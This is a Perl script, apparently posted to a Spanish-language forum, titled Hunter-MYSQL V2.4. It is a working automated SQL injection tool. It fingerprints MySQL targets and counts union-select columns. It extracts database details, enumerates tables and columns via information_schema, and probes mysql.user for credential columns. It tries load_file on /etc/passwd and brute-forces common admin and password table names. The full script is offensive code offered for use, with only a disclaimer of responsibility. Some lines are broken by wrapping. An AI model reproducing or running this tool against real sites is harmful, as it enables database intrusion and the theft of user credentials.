Código:
#####################################################################################
# Hunter-MYSQL V2.4
#
# Autor : El Gran Guasón
# Blog : elgranguason.wordpress.com
#
#
#
# Funciones:
#
#
# * busqueda de columnas
# * Busqueda de vulnerabilidades : load_file
# * Extraccion de columnas de mysql.user
# * Extraccion de tablas y columnas por information_schema
# * Extraccion de columnas y tablas por fuerza bruta
# * Informacion DB
# * Generacion de inyecciones sql con el que se lograron encontrar
#
#
#
# Advertencia : Este codigo es libre de distribuir siempre cuando se
# respete el codigo y no se modifique nada, tampoco me hago # # responsable del mal uso que se le de o suceda con su uso
#
#
#####################################################################################
use LWP::Simple;
@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
'name','names','nombre','nombres','usuarios','member','members','admin_table',
'miembro','miembros','membername','admins','administrator',
'administrators','passwd','password','passwords','pass','Pass',
'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
'member_password','mods','mod','moderators','moderator','user_email',
'user_emails','user_mail','user_mails','mail','emails','email','address',
'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
'sistema_usuario','sistema_password','contrasena','auth','key','senha',
'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
'associated','accnt','customers','customer','membres','administrateur','utilisateur',
'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARI
OS','MIEMBROS','MIEMBRO');
@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','me
mbros','utilizadores','sysadmin','email',
'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','us
er_usern','un','user_un','mail',
'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id',
'usr','sistema_id','author',
'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores'
,'pass_hash','hash','pass','correo',
'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pw
rd','user_pwrd','pwd','authors',
'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_
password','web_username');
$mas = "+";
$menos = "--";
$cmd = &SO;
system ($cmd);
my $target = $ARGV[0];
my $numero = $ARGV[1];
my $file = $ARGV[2];
unless ($target || $numero) {
&sintasis;
}
open ( LOG , ">>$file");
&logo;
&destroy($target,$numero);
#-----------------------------------------------FUNCIONES---------------------------------------------------------------------------------#
sub SO{
my $SO = $^O;
if (index($SO,'linux') == '0'){
$cmd = "clear";
return $cmd;
}else{
$cmd = "cls";
return $cmd;
}
}
sub sintasis {
print "--------------------------------------------------------------------------------\n";
print "Hunter-MYSQL V2.4\n\n";
print "Autor : El Gran Guason\n";
print "Blog : elgranguason.wordpress.com\n\n";
print "Modo de uso = $0 <target> <numero de columnas> <archivo log opcional>\n\n";
print "Ejemplo = $0 http://127.0.0.1/index.php?id= 20 log.txt\n\n";
print "--------------------------------------------------------------------------------\n";
exit 1;
}
sub logo {
print "\n\n====================================\n";
print "Hunter-MYSQL 2.4 By El Gran Guason\n";
print "====================================\n";
}
sub creditos {
print "\n\n=================================\n";
print "Written By El Gran Guason || 2010\n";
print "=================================\n\n";
}
sub comprobar {
my $target = shift;
print "\n\n[+] Target = $target\n";
$z = $target."union+select--";
$response = get($z);
if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~
/tem um erro de sintaxe no seu SQL/ || $response =~ /Algo está equivocado en su sintax/ ||
$response =~ /Division by zero in/ || $response =~/Algo está equivocado en su sintax/) {
print "\n[+] El objectivo utiliza mysql continuando ataque.........\n\n";
} else {
print "\n[-] El objectivo no utiliza mysql\n\n";
exit 1;
}
} # Fin de comprobar
sub destroy {
my $target = shift;
my $limite = shift;
$sigamos = "0";
&comprobar($target);
print LOG "Pagina vulnerable = $target\n\n";
print LOG "Injeccion3s SQL generadas\n";
for ($column = 0 ; $column < $limite; $column ++)
{
$inyection.=','."0x677561736f6e";
if ($column == 0)
{
$inyection = '';
$union = '';
}
$sql=$target."-1".$mas."union".$mas."select".$mas."0x677561736f6e".$inyection.$menos;
$response=get($sql);
if($response =~ /guason/)
{
$column ++;
print "\n\n[+] El sitio tiene $column columnas\n";
&genera($column,$target);
}
}
print "\n\n[-] No se encontro el numero de columnas\n\n";
&creditos;
}
sub genera {
$k = shift;
$t = shift;
for ($col = 1 ; $col <= $k ; $col++) {
$y = $y.$col.",";
}
chop($y);
$in = $t."-1+union+select+".$y;
print "\n[?] Inyeccion creada = $in\n\n";
print LOG "\nNumero de columnas\n\n";
print LOG "\n[?] Inyeccion creada = $in\n\n";
($galaxia,$url) = &database($in);
&vuls($target,$column,$galaxia,$y);
}
sub vuls {
my $target = shift;
my $limite = shift;
my $galaxia= shift;
my $y = shift;
$schemas = "0";
$mysqluser = "0";
print "[+] Buscando posibles metodos de ataque.....\n\n";
sub hex_sql($) {
(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;return "0x$str";
}
for ($col = 1 ; $col <= $limite ; $col++) {
$x = $x.hex_sql("guason").",";
}
chop($x);
$sql=$target."-1".$mas."union".$mas."select".$mas.$x.$mas."from".$mas."information_schema.tables".$menos;
$response=get($sql);
if($response =~ /guason/)
{
print "[?] Se encontro information_schema\n";
$schemas = "1";
&schema($target,$limite);
}
$sql=$target."-1".$mas."union".$mas."select".$mas.$x.$mas."from".$mas."mysql.user".$menos;
$response=get($sql);
if($response =~ /guason/)
{
print "[?] Se encontro mysql.user\n";
$mysqluser = "1";
&mysql($target,$limite,$galaxia,$y);
}
while ($loadcont < $column-1)
{
$loadfile.=','.'load_file(0x2f6574632f706173737764)';
$loadcont++;
}
$sql=$host."-1".$mas."union".$mas."select".$mas."load_file(0x2f6574632f706173737764)".$loadfile.$
menos;
$response=get($sql);
if($response =~ /root:x:/)
{
print "[?] Se encontro LOAD_FILE\n";
&load;
}
if ($mysqluser == 0 && $schemas == 0) {
&damela($target,$limite);
}
print "\n[+] Ataque finalizado\n";
&creditos;
exit 1;
}
sub mysql {
my $target = shift;
my $limite = shift;
$found = "0";
for ($col = 1 ; $col <= $limite ; $col++) {
$a = $a.hex_sql("guason").",";
}
chop($a);
my $number = $limite;
$path = "$a+from+mysql.user";
$web = $target."-1+union+select+".$path;
print "\n[¡] Verificando existencia de mysql.user\n\n";
$re = get($web);
if ($re =~/guason/) {
print LOG "\n\nColumnas para tabla mysql.user\n\n";
print "[!] OK , Es vulnerable.............\n";
} else {
print "[-] El target no utiliza mysql.user o esta mal el numero de columnas\n";
exit 1;
}
print "\n[?] Buscando columnas para mysql.user\n\n";
$select = "-1+union+select+";
$coma = ",";
$user = "+from+mysql.user";
for ($col = 2 ; $col <= $limite ; $col++) {
$e = $e.hex_sql("guason").",";
}
chop($e);
for my $columnas(@nombrecolumna) {
chomp $columnas;
$t =$target.$select."concat(0x677561736f6e,$columnas)".",".$e.$user;
$a = get($t);
if ($a=~/guason/) {
$found++;
print "[+] Se encontro columna $columnas\n";
print LOG "$t\n";
}
}
if ($found == 1) {
print "[+] Se encontro en total 1 columna\n";
}
if ($found == 0 ) {
print "[-] No se encontro ninguna columna para mysql.user\n";
}
print "\n[+] Se encontro en total $found columnas\n";
print "\n\n[¡] Busqueda finalizada\n\n";
}
sub database {
my $target = shift;
print "[+] Intentando extraer informacion de DB\n";
if ($target=~/http:(.*)=/) {
$f = $1;
$d = "http:".$f."=";
}
($url,$numeros) = $target=~ m{(.*)\+(.*)$}g;
my $nan = $numeros;
$numeros = split(",",$numeros);
for ($p=1;$p<=$numeros;$p++){
$hola = $hola.hex_sql("4789$p").",";
}
chop($hola);
$j = $d."-1+union+select+".$hola;
$g = get($j);
(@numbers) = $g =~ m{4789(\d+)}g;
$fores = 'concat(0x494e,database(),0x3A,user(),0x3A,version(),0x46494e,connection_id(),0x46494e)';
for my $numerin(@numbers) {
my $copia = $nan;
$copia =~ s/$numerin/$fores/g;
$url = $url."+".$copia;
$RRA = get($url);
if ($RRA =~/IN(.*):(.*):(.*)FIN(.*)FIN/) {
$galaxia = int($numerin);
$lola= "yes";
print "\n\n[+] Extrayendo datos con numero $numerin.............\n\n";
print "[?] Nombre de la base de datos = $1\n";
print "[?] Usuario = $2\n";
print "[?] Version DB = $3\n";
print "[?] ID de la conexion = $4\n\n\n";
print LOG "\n\n[+] Extrayendo datos con numero $numerin.............\n\n";
print LOG "[?] Nombre de la base de datos = $1\n";
print LOG "[?] Usuario = $2\n";
print LOG "[?] Version DB = $3\n";
print LOG "[?] ID de la conexion = $4\n\n\n";
}
}
unless ($lola =~/yes/g) {
print "[-] No se pudo extraer informacion sobre DB\n";
}
return ($galaxia,$url);
}
sub schema {
my $target = shift;
my $limite = shift;
my $copia = $target;
for ($col = 2 ; $col <= $limite ; $col++) {
$y = $y.$col.",";
}
chop($y);
$concat = "group_concat(0x3a3a5072696d65726f3a3a,table_name,0x3a3a536567756e646f3a3a),";
$web = "+from+information_schema.tables";
$test1 = $target."-1+union+select+".$concat.$y.$web;
$prueba1 = get($test1);
while ($prueba1 =~/::Primero::(.*?)::Segundo::/g) {
$ok = "yes";
@tables = $1;
print LOG "$test1\n";
for my $tablas(@tables) {
print "\n[+] Se encontro $tablas\n";
&raro($tablas,$copia);
}
}
sub raro {
my $tab = shift;
my $copia = shift;
$concat = "group_concat(0x3a3a5072696d65726f3a3a,table_name,0x3a3a536567756e646f3a3a)";
$web = "+from+information_schema.tables";
$ascii = join ',', unpack "U*", $tab;
$paja = "group_concat(0x3a3a5072696d65726f3a3a,column_name,0x3a3a536567756e646f3a3a),";
my $tar = "+from+information_schema.columns+where+table_name=char($ascii)";
$final = $copia."-1+union+select+".$paja.$y.$tar;
$arreglo = get($final);
while ($arreglo =~/::Primero::(.*?)::Segundo::/g) {
print "[++] Se encontro $1\n";
print LOG "$final\n";
}
}
if ($ok !=~/yes/) {
print "\n[-] No se logro extraer nada con information_schema\n\n"; }
} # Fin de schema
sub damela {
print "[+] Buscando tablas y columnas por fuerza bruta......\n\n";
print LOG "\n\nTablas y columnas por fuerza brute obtenidas\n\n";
my $target = shift;
my $limite = shift;
$re1 = "0";
$re2 = "0";
for ($col = 2 ; $col <= $limite ; $col++) {
$u = $u.$col.",";
}
chop($u);
$web = $target."-1+union+select+"."0x677561736f6e,".$u;
for my $tablas(@nombretabla) {
$from = "+from+$tablas--";
my $full = $web.$from;
$re = get($full);
if ($re =~/guason/g) {
$re1++;
print LOG "$full\n";
print "\n[+] Se encontro $tablas\n";
for my $coles(@nombrecolumna) {
$concat = "concat(0x677561736f6e,0x3a,$coles)";
my $final = $target."-1+union+select+".$concat.",".$u."+from+".$tablas;
$rer = get($final);
if ($rer =~/guason/g) {
$re2++;
print "$final\n";
print "[++] Se encontro $coles\n";
}
}
}}
if ($re1 == 0) {
print "\n\n[-] No se pudo encontrar ninguna tabla\n\n";
}
print "\n[X] Se encontro $re1 tablas y $re2 columnas\n\n";
print "[+] bRUTEo Finalizado\n \n";
}